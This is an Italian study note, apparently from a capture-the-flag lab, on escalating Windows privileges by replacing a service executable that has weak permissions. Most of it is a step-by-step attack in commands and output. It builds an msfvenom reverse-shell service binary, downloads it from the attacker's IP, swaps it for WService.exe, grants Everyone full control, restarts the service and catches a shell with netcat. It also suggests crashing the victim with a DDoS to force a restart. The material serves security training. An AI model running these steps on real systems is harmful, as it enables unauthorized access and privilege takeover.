tags : windows servizi_in_esecuzione priv_esc
Cosa sono?
I servizi Windows sono gestiti da Service Control Manager (SCM). SCM è un processo incaricato di gestire lo stato dei servizi in base alle necessità, verificando lo stato corrente di qualsiasi servizio e generalmente fornendo un modo per configurare i servizi. Ogni servizio su una macchina Windows avrà un eseguibile associato che verrà eseguito da SCM ogni volta che un servizio viene avviato. È importante notare che gli eseguibili del servizio implementano funzioni speciali per poter comunicare con SCM e pertanto non tutti gli eseguibili possono essere avviati correttamente come servizio. Ogni servizio specifica anche l’account utente con cui verrà eseguito il servizio.
Per comprendere meglio la struttura di un servizio, controlliamo la configurazione del servizio apphostsvc con il comando sc qc:
C:\Users\thm-unpriv>sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystemQui possiamo vedere che l’eseguibile associato è specificato tramite il parametro BINARY_PATH_NAME e l’account utilizzato per eseguire il servizio è mostrato nel parametro SERVICE_START_NAME.
I servizi hanno un Discretionary Access Control List (DACL), che indica chi ha il permesso di avviare, arrestare, mettere in pausa, interrogare lo stato, interrogare la configurazione o riconfigurare il servizio, tra gli altri privilegi.

Tutte le configurazioni dei servizi sono memorizzate nel registro in HKLM\SYSTEM\CurrentControlSet\Services:
Esiste una sottochiave per ogni servizio nel sistema. Di nuovo, possiamo vedere l’eseguibile associato sul valore ImagePath e l’account utilizzato per avviare il servizio sul valore ObjectName. Se è stato configurato un DACL per il servizio, verrà memorizzato in una sottochiave denominata Security. Solo gli amministratori possono modificare tali voci di registro per impostazione predefinita.
Autorizzazioni non sicure su Service Executable
Se l’eseguibile associato a un servizio ha autorizzazioni deboli che consentono a un aggressore di modificarlo o sostituirlo, l’aggressore può ottenere i privilegi dell’account del servizio in modo banale a patto che il servizio sia rivviabile START_TYPE : 2 AUTO_START perchè quando un servizio è “Running” (in esecuzione), Windows ha già caricato il codice di quel file .exe nella memoria RAM. Se tu sostituisci il file .exe sul disco rigido con il tuo payload, il servizio in esecuzione non se ne accorge. Continua a eseguire il vecchio codice originale che ha in memoria.
Per far sì che Windows esegua il tuo virus, deve:
-
Scaricare dalla memoria il vecchio processo (Stop).
-
Leggere dal disco il nuovo file (quello modificato da te).
-
Caricarlo in memoria ed eseguirlo (Start).
Quindi nel caso non avessimo la possibilità di riavviarlo ci toccherebbe aspettare un riavvio della macchina vittima oppure forzare un crash della macchina tramite per esempio un attacco DDOS.
Enumerazione Automatica
Possiamo anche automatizzare questo processo tramite l’utilizzo di questo script
PS> . .\script.ps1
PS> Invoke-AllChecks
In questo script la funzione START_TYPE è chiamata CanRestart se è impostata su True possiamo riavviare il servizio se è impostata su False no.
Per vedere i permessi che abbiamo su quel file possiamo usare:
icacls "C:\Percorso\per\il\Servizio.exe"Nel caso fossimo in grado di modificarlo e fosse riavviabile possiamo andare al Punto 2 per capire come exploitare che troverai di seguito in questa pagina, ma per riassumere:
#Ci creiamo il payload sulla macchina attaccante
msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe
#Carichiamo il payload sulla macchina vittima
meterpreter> upload ~/Percordo/Del/payload.exe
#Caricamento una shell Powershell
meterpreter> load powershell
meterpreter> powershell_shell
#Facciamo il backup del servizio
Rename-Item -Path "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe" -NewName "ASCService.exe.bak"
#Sostituiamo il servizio con la nostra reverse shell
Copy-Item "C:\Temp\tua_reverse_shell.exe" -Destination "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
#Ci mettiamo in ascoto con Metasploit sulla macchina attaccante
msf> use exploit/multi/handler
#Stoppiamo il servizio (Attenzione a mettere il nome del servizio e non del file.exe che in questo caso sarebbe ASCService.exe)
Stop-Service -Name AdvancedSystemCareService9
#Riavviamo il servizio
Start-Service -Name AdvancedSystemCareService9
Enumerazione Manuale
Per capire come funziona, diamo un’occhiata a una vulnerabilità trovata su Splinterware System Scheduler. Per iniziare, interrogheremo la configurazione del servizio usando sc:
C:\Users\thm-unpriv>sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WindowsScheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcusr1Possiamo vedere che il servizio installato dal software vulnerabile viene eseguito come svcuser1 e l’eseguibile associato al servizio si trova in C:\Progra2\System1\WService.exe, inoltre lo START_TYPE è impostato su AUTO_START quindi possiamo stoppare e riattivare il servizio a nostro piacere. Procediamo quindi a controllare i permessi sull’eseguibile:
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 filesE qui abbiamo qualcosa di interessante. Il gruppo Everyone ha permessi di modifica (M) sull’eseguibile del servizio. Ciò significa che possiamo semplicemente sovrascriverlo con qualsiasi payload di nostra preferenza e il servizio lo eseguirà con i privilegi dell’account utente configurato. Quindi quando vediamo un eseguibile che può essere modificato dal gruppo al quale apparteniamo possiamo modificarlo con un nostro payload ed ottenere i privilegi di colui che esegue il file.
Punto 2
Quindi ora ci generiamo un payload con msfvenom e lo carichiamo sulla macchina vittima:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.14.83.140 LPORT=4445 -f exe-service -o rev-svc.exePoi ci tiriamo su un server con python e dalla powershell vittima scarichiamo la reverse shell con il seguente comando di powershell:
PS C:\Users\thm-unpriv> powershell -c "Invoke-WebRequest -Uri 'http://10.14.83.140/rev-svc.exe' -OutFile 'C:\Users\thm-u
npriv\rev-svc.exe'"
PS C:\Users\thm-unpriv> ls
Directory: C:\Users\thm-unpriv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/3/2022 3:14 PM 3D Objects
d-r--- 5/3/2022 3:14 PM Contacts
d-r--- 5/4/2022 8:15 AM Desktop
d-r--- 5/3/2022 3:14 PM Documents
d-r--- 5/3/2022 3:14 PM Downloads
d-r--- 5/3/2022 3:14 PM Favorites
d-r--- 5/3/2022 3:14 PM Links
d-r--- 5/3/2022 3:14 PM Music
d-r--- 5/3/2022 3:14 PM Pictures
d-r--- 5/3/2022 3:14 PM Saved Games
d-r--- 5/3/2022 3:14 PM Searches
d-r--- 5/3/2022 3:14 PM Videos
-a---- 10/14/2024 9:06 AM 48640 rev-svc.exeUna volta che il payload è nel server Windows, procediamo a sostituire l’eseguibile del servizio con il nostro payload. Poiché abbiamo bisogno di un altro utente per eseguire il nostro payload, vorremo concedere permessi completi anche al gruppo Everyone:
PS C:\Users\thm-unpriv> cd C:\PROGRA~2\SYSTEM~1\ //Scorciatoia per andare nella cartella con il file
PS C:\Program Files (x86)\SystemScheduler> move WService.exe WService.exe.bkp
PS C:\Program Files (x86)\SystemScheduler> ls
Directory: C:\Program Files (x86)\SystemScheduler
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/14/2024 9:10 AM Events
-a---- 5/17/2007 1:47 PM 1150 alarmclock.ico
-a---- 8/31/2003 12:06 PM 766 clock.ico
-a---- 8/31/2003 12:06 PM 80856 ding.wav
-a---- 5/3/2022 11:56 AM 60 Forum.url
-a---- 1/8/2009 8:21 PM 1637972 libeay32.dll
-a---- 11/16/2004 12:16 AM 9813 License.txt
-a---- 10/14/2024 8:40 AM 696 LogFile.txt
-a---- 10/14/2024 8:41 AM 1343 LogfileAdvanced.txt
-a---- 3/25/2018 10:58 AM 536992 Message.exe
-a---- 3/25/2018 10:59 AM 445344 PlaySound.exe
-a---- 3/25/2018 10:58 AM 27040 PlayWAV.exe
-a---- 5/3/2022 12:04 PM 108 Preferences.ini
-a---- 3/25/2018 10:58 AM 485792 Privilege.exe
-a---- 3/24/2018 12:09 PM 10100 ReadMe.txt
-a---- 3/25/2018 10:58 AM 112544 RunNow.exe
-a---- 3/25/2018 10:59 AM 40352 sc32.exe
-a---- 8/31/2003 12:06 PM 766 schedule.ico
-a---- 3/25/2018 10:58 AM 1633696 Scheduler.exe
-a---- 3/25/2018 10:59 AM 491936 SendKeysHelper.exe
-a---- 3/25/2018 10:58 AM 437664 ShowXY.exe
-a---- 3/25/2018 10:58 AM 439712 ShutdownGUI.exe
-a---- 3/25/2018 10:58 AM 235936 SSAdmin.exe
-a---- 3/25/2018 10:58 AM 731552 SSCmd.exe
-a---- 1/8/2009 8:12 PM 355446 ssleay32.dll
-a---- 3/25/2018 10:58 AM 456608 SSMail.exe
-a---- 5/3/2022 11:56 AM 6867 unins000.dat
-a---- 5/3/2022 11:56 AM 722597 unins000.exe
-a---- 5/3/2022 11:56 AM 54 Website.url
-a---- 6/26/2009 5:27 PM 6574 whiteclock.ico
-a---- 3/25/2018 10:58 AM 76704 WhoAmI.exe
-a---- 5/16/2006 4:49 PM 785042 WSCHEDULER.CHM
-a---- 5/16/2006 3:58 PM 2026 WScheduler.cnt
-a---- 3/25/2018 10:58 AM 331168 WScheduler.exe
-a---- 5/16/2006 4:58 PM 703081 WSCHEDULER.HLP
-a---- 3/25/2018 10:58 AM 136096 WSCtrl.exe
-a---- 3/25/2018 10:58 AM 98720 WService.exe.bkp
-a---- 3/25/2018 10:58 AM 68512 WSLogon.exe
-a---- 3/25/2018 10:59 AM 33184 WSProc.dll
PS C:\Program Files (x86)\SystemScheduler> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
PS C:\Program Files (x86)\SystemScheduler> ls
Directory: C:\Program Files (x86)\SystemScheduler
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/14/2024 9:12 AM Events
-a---- 5/17/2007 1:47 PM 1150 alarmclock.ico
-a---- 8/31/2003 12:06 PM 766 clock.ico
-a---- 8/31/2003 12:06 PM 80856 ding.wav
-a---- 5/3/2022 11:56 AM 60 Forum.url
-a---- 1/8/2009 8:21 PM 1637972 libeay32.dll
-a---- 11/16/2004 12:16 AM 9813 License.txt
-a---- 10/14/2024 8:40 AM 696 LogFile.txt
-a---- 10/14/2024 8:41 AM 1343 LogfileAdvanced.txt
-a---- 3/25/2018 10:58 AM 536992 Message.exe
-a---- 3/25/2018 10:59 AM 445344 PlaySound.exe
-a---- 3/25/2018 10:58 AM 27040 PlayWAV.exe
-a---- 5/3/2022 12:04 PM 108 Preferences.ini
-a---- 3/25/2018 10:58 AM 485792 Privilege.exe
-a---- 3/24/2018 12:09 PM 10100 ReadMe.txt
-a---- 3/25/2018 10:58 AM 112544 RunNow.exe
-a---- 3/25/2018 10:59 AM 40352 sc32.exe
-a---- 8/31/2003 12:06 PM 766 schedule.ico
-a---- 3/25/2018 10:58 AM 1633696 Scheduler.exe
-a---- 3/25/2018 10:59 AM 491936 SendKeysHelper.exe
-a---- 3/25/2018 10:58 AM 437664 ShowXY.exe
-a---- 3/25/2018 10:58 AM 439712 ShutdownGUI.exe
-a---- 3/25/2018 10:58 AM 235936 SSAdmin.exe
-a---- 3/25/2018 10:58 AM 731552 SSCmd.exe
-a---- 1/8/2009 8:12 PM 355446 ssleay32.dll
-a---- 3/25/2018 10:58 AM 456608 SSMail.exe
-a---- 5/3/2022 11:56 AM 6867 unins000.dat
-a---- 5/3/2022 11:56 AM 722597 unins000.exe
-a---- 5/3/2022 11:56 AM 54 Website.url
-a---- 6/26/2009 5:27 PM 6574 whiteclock.ico
-a---- 3/25/2018 10:58 AM 76704 WhoAmI.exe
-a---- 5/16/2006 4:49 PM 785042 WSCHEDULER.CHM
-a---- 5/16/2006 3:58 PM 2026 WScheduler.cnt
-a---- 3/25/2018 10:58 AM 331168 WScheduler.exe
-a---- 5/16/2006 4:58 PM 703081 WSCHEDULER.HLP
-a---- 3/25/2018 10:58 AM 136096 WSCtrl.exe
-a---- 10/14/2024 9:06 AM 48640 WService.exe
-a---- 3/25/2018 10:58 AM 98720 WService.exe.bkp
-a---- 3/25/2018 10:58 AM 68512 WSLogon.exe
-a---- 3/25/2018 10:59 AM 33184 WSProc.dll
PS C:\Program Files (x86)\SystemScheduler> icacls WService.exe /grant Everyone:F
processed file: WService.exe
Successfully processed 1 files; Failed processing 0 filesOra ci possiamo mettere in ascolto sulla porta 4445 e riavviare il servizio (questo nella realtà è molto improbabile che si possa fare, ma nelle CTF spesso si può fare per risparmiare tempo) sulla macchina vittima:
C:\>sc stop windowsscheduler
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x3e8
C:\>sc start windowsscheduler
SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 2644
FLAGS :nota
Per eseguire lo stesso comando su powershell bisogna sostituire sc con sc.exe altrimente non funzionerà.
E sulla porta in ascolto ora abbiamo:
nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.14.83.140] from (UNKNOWN) [10.10.172.182] 49851
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
wprivesc1\svcusr1